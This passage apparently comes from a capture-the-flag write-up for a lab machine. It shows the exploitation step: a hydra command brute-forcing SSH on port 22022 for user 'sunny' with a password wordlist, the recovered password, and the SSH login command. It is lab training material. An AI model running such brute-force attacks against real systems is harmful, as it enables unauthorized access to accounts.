Exploitation

sunny and sammy were found

We know we have SSH on the system on port and we have found usernames. Lets Brute-force using hydra.

Hydra Brute Force

hydra -l sunny -P /usr/share/seclists/Passwords/probable-v2-top1575.txt 10.10.10.76 ssh -s 22022

Note: There are different ways to use hydra.

found sunny password: sunday

Logging in via found credentials

ssh -oKexAlgorithms=diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 -p 22022 sunny@10.10.10.76

successful login